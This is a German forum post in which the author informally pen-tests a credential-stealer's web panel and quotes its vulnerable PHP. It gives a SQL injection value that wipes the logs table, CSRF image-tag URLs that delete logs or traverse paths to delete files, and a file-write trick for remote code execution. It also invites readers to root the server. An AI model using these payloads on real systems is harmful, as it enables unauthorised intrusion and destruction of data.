So..
hatte heute abend mal ein wenig Zeit..
Zeit für ein wenig Pen Testing..
Ich habe mir dafür einfach mal den Tool Store 4.10 vorgenommen, ein Stealer der von Kiddies genutzt wird um anderen die Zugangsdaten zu stehlen da sie sich diese nicht selber leisten können
also, fang ich mal an..
auf einen Hinweis von Ratchet habe ich mir direkt mal die creater.php angeschaut, und er hatte Recht..
direkt da war die suche schon zuende..
Abgesehen von einem Full Path Disclosure war da auch direkt eine SQL Injection
hmm.. doof.. eigentlich habe ich doch eine Beschäftigung für den ganzen Abend gesucht :/
naja.. weiter gehts..
mal eben nachgeschaut was sonst noch alles geladen wird..
und nachdem ich durch war..
kein CSRF Schutz..
win :>
damit war es schonmal möglich jede Menge Unfug zu treiben..
zB Acc's löschen..
aber, nein, anstatt einfach wild IDs zu raten wird noch einer drauf gesetzt..
PHP-Code:
if(isset($_POST['del'])){
for ($i=0; $i<count($_POST["dele"]); $i++) {
$wegdamit = $_POST['dele'][$i];
mysql_query("DELETE FROM logs WHERE id = '$wegdamit'");
}
echo '<script>alert(unescape("'.$i.' Logs successfully deleted!"));</script>
<meta http-equiv="refresh" content="0; URL=logs.php">';
}
$_POST['dele'][0] = "
' OR '1";
und plötzlich ist die Logs Table leer..
als weiter zur nächsten...
ups..
was ist denn das.. ?
*runter scroll*
man muss garnicht mal über CSRF eine Injection durchführen, es geht noch viel stilvoller..
[ IMG ]http://kiddy.example.com/logs.php?delall2=ja [ /IMG ]
gleiches Ergebnis, viel stilvoller ^^
so, jetzt aber wirklich weiter zur nächsten Datei..
export.php
auch wieder nice..
PHP-Code:
if(isset($_GET['del'])){
$file = $_GET['del'];
unlink('logs/'.$file);
echo '<meta http-equiv="refresh" content="0; url=export.php">';
}
gleiches Prinzip, andere Situation:
[ IMG ]http://kiddy.example.com/export.php?file=../creater.php [ /IMG ]
funktioniert auf allen win servern und jedem misconfigured server..
und plötzlich kommen garkeine Accounts mehr..
seltsam..
auch recht unterhaltsam ist die feedback.php
der Fail lässt sich nicht in worte fassen, ich hab mehrmals versucht einen passenden Satz zu formulieren, bin allerdings gescheitert..
ich lasse einfach mal den Code für mich sprechen..
PHP-Code:
<?php
/*
*****************************
*###TOOLSTORE STEALER RIP###*
*****************************
*****************************
* Stealer by Ghosty *
* Panel by rb7 *
* *
*****************************
*/
session_start();
require_once('inc/session.php');
require_once('inc/config.php');
require_once('inc/grund.php');
$zahl1 = rand(1,10);
$zahl2 = rand(1,10);
?>
<h2>Feedback</h2>
<div id="infobox"><img src="img/other/information.png" /> Please send us a feedback with improvement suggestions</div>
<br/>
<form action="feedback.php" method="post">
<p><label>Nachricht</label></p><p><textarea class="tb" style="width: 15.5em;" rows="5" cols="30" name="text" id="nachricht"></textarea></p>
<p><label>Question (<?php echo $zahl1; ?> + <?php echo $zahl2; ?>)</label></p><p><input type="text" class="tb" name="antwort" /></p>
<p><input type="hidden" name="zahl1" value="<?php echo $zahl1; ?>" /></p>
<p><input type="hidden" name="zahl2" value="<?php echo $zahl2; ?>" /></p>
<p><input type="submit" class="button" name="abschicken" value="Send feedback" /></p>
</form>
<?php
if(isset($_POST['abschicken'])){
$nachricht = $_POST['text'];
$antwort = $_POST['antwort'];
$add1 = $_POST['zahl1'];
$add2 = $_POST['zahl2'];
//Addieren
$richtig = $add1 + $add2;
if(!empty($nachricht) && $antwort == $richtig){
$sender = '[email protected]';
$empfaenger = '[email protected]';
$seite = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$betreff = 'Feedback';
$mailtext = 'Seite: '.$seite.' Nachricht: '.$nachricht;
mail($empfaenger, $betreff, $mailtext, "From: $sender ");
echo '<b class="green">Thank you!</b>';
}else{
echo '<b class="red">Error!</b>';
}
}
require_once('inc/footer.php');
?>
Captcha fail
Spam Protection fail
die backup.php sieht noch so aus als könnte man damit das Panel vollständig defacen (mal abgesehen von einem xss deface bei dem man via sql injection htmlspecialchars bypassed)
hab ich jetzt aber nicht weiter überprüft
naja, wer noch lust hat den Server zu rooten..
Code:
$art = $_POST['art'];
[...]
$endung = $art; // durch Funktionsaufruf
[...]
$handle = fopen('backups/'.$date.'.'.$endung,'w+');
wer da noch nicht Lunte gerochen hat..
$_POST['art'] = 'php';
davor natürlich noch den entsprechenden Code in die db injeziert..
ich denke das waren vorerst die interessantesten Punkte..
Verdammt..
Ich glaube meine Pizza ist jetzt kalt..
Na dann.. soweit von meiner Seite..
MfG
sfx